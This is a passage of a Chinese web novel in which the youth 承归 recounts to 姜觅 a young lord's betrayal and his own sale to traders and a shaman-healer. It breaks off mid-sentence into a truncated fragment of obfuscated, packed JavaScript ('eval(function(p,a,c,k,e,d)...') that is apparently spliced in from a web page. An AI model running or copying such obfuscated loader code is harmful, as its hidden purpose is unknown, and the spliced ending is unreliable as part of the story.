唇碰到一起,几下都没能发声,再开口时,嗓音里透着恐惧:“不可能……”
“最初,你想父亲好转是真。可从山上下来,你就改了主意,你的贪欲战胜了慈悲。”
“你试图让我帮你除掉大公子,眼见行不通,才改成了让我见你父亲,通知大公子,借他逼我,哪想最后——螳螂捕蝉,黄雀在后。”
小公子软瘫在地:“灵松是谁?”
少年一改先前,冷声:“你不配知道。”
这时,一声只有少年听得见的,苍老叹息声飘至少年的耳边。
“他药下得深……”
少年启唇:“无碍,只觉有点寒心。”
承归的声音由远至近……
“小公子被神不知鬼不觉地处理,我沉睡了几天,再睁眼时,就落到了北地商贩手中,大概是竹侯家的人,偷偷把我拿去换钱。”
姜觅有意调节气氛,摸着承归的下巴调笑道:“毕竟白衣少年身姿绰约,面如冠玉。”
承归按住姜觅乱动的手指,低低地笑了一声:“那是用来形容女孩子的。”
“可惜……给马治伤时,被一巫医瞧见。他找商人买下我,又正好要去中原,我将计就计。那时的人很苦,生病死的人很多。我不忍心,巫医的收费比医馆低,能让穷人受益。”
“嗯,你最好了。”姜觅说。
承归:“再后来,就是被掳去蜀地……”
“什么破公子,甚至没问你的名字,开口闭口都是仙人,就差把目的写在了脸上。”
姜觅的语气不大好,又急又怒的。
她还是猛地一动,坐直身体后说的,顿时牵拉到背上的伤口,疼得抽气了一声。
承归立刻去看她的背,姜觅已然闻到了新鲜而炙热的血腥气:“裂开了?”
他应了一声,扶正姜觅的坐姿,将一个手掌覆到她的脖颈,一只手隔了些距离,手心对准渗血的地方。
“不要,又不是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c